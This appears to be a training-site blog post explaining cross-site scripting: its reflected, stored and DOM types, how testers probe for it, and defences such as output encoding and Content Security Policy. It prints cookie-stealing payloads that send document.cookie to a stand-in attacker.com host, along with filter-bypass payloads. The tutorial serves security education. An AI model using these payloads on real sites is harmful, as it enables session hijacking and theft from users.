XSS has been in the OWASP Top 10 for two decades. It's widely misunderstood — treated as a pop-up trick when it's actually one of the most versatile attack primitives on the web.
Cross-site scripting is consistently in the top five most commonly found vulnerabilities in web applications. It's been in the OWASP Top 10 for two decades. And yet it remains widely misunderstood — treated as a pop-up trick when it's actually one of the most versatile attack primitives on the web.
This is a complete explanation of how XSS works, the three main types, what attackers actually do with it, and how it gets fixed.
Browsers execute JavaScript. That's a feature. XSS is what happens when an attacker manages to get their JavaScript into a page that another user's browser will execute.
The fundamental cause: a web application takes user input and puts it into a page without treating it as data. The browser receives HTML containing the attacker's script, has no way to know it wasn't intentional, and runs it — with full access to the page, the DOM, and the victim's cookies and storage.
The simplest variant. The payload travels in the request and comes back in the response. A search endpoint that echoes the query back to the page is the classic example:
# URL the attacker sends the victim https://shop.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> # The page renders: <p>Search results for: <script>document.location='https://...'</script></p>
The victim clicks the link (delivered via email, social media, a QR code). The page loads. Their browser executes the script. Their session cookie gets sent to the attacker's server. The attacker now has a valid session and can log in as the victim.
Reflected XSS requires the victim to click a crafted link. That limitation makes it less severe than stored XSS — but in practice, people click links.
The attacker's payload is saved in the application's database and served to every user who visits the affected page. No need to trick individual users into clicking anything.
A comment field on a forum that doesn't sanitise input:
# Attacker posts this as a comment:
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: location.href
})
});
</script>
# Every user who loads that page fires the beaconThis is why stored XSS is rated higher severity. One payload, unlimited victims. A single stored XSS on a high-traffic page can exfiltrate thousands of session tokens before anyone notices.
The payload never touches the server. Client-side JavaScript reads from the URL (or local storage, or some other attacker-controlled source) and writes it to the DOM without sanitisation:
// Vulnerable client-side code
const query = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + query;
// Attacker's URL:
https://app.com/?name=<img src=x onerror=alert(document.cookie)>DOM XSS is harder to find with traditional scanning because the vulnerability exists in JavaScript running in the browser, not in the server's response. Tools like Burp Suite's DOM Invader are built specifically for this.
alert(1) is a proof of concept, not an attack. Real exploitation looks like this:
document.cookie and replay the session token from another device. Works if cookies don't have the HttpOnly flag.document.addEventListener('keypress', ...) on a form. Every keystroke goes to the attacker in real time.The process: find every place user input is reflected in the page. Test each one with a simple probe like <> or a single quote to see if it appears unescaped in the HTML source. If it does, determine the context (HTML body, attribute, JavaScript string, CSS) and craft a payload appropriate for that context.
# Common contexts and payloads # In HTML body — straightforward <script>alert(1)</script> # Inside an HTML attribute — break out first " onmouseover="alert(1) # Inside a JavaScript string ';alert(1)// # In a URL attribute javascript:alert(1) # Filter bypass when < and > are blocked — event handlers in SVG <svg/onload=alert(1)> # When script tags are filtered <img src=x onerror=alert(1)>
Output encoding is the main defence. Every time user-supplied data is inserted into HTML, it must be encoded so that special characters (<, >,", ') become their HTML entity equivalents and can't be interpreted as markup.
Modern frameworks — React, Vue, Angular — do this automatically for template expressions. The danger spots are places where developers bypass automatic escaping: React's dangerouslySetInnerHTML, Vue's v-html, Angular's bypassSecurityTrustHtml. These are valid when the HTML comes from a trusted source; they're vulnerabilities when they touch user input.
Content Security Policy (CSP)is the defence-in-depth layer. A strict CSP instructs browsers to only execute scripts from approved sources, blocking injected inline scripts even if they make it into the page. It doesn't replace output encoding — it's the second line of defence when output encoding fails.
document.cookie. An attacker with XSS can still make authenticated requests as the victim, perform CSRF-style actions, exfiltrate other data, and install persistent payloads. HttpOnly raises the bar — it doesn't close the window.Everything in this post has a live lab on hackr.gg. Spin up a vulnerable machine and exploit it yourself — no setup, no VPN, runs in your browser.
Open XSS Fundamentals course →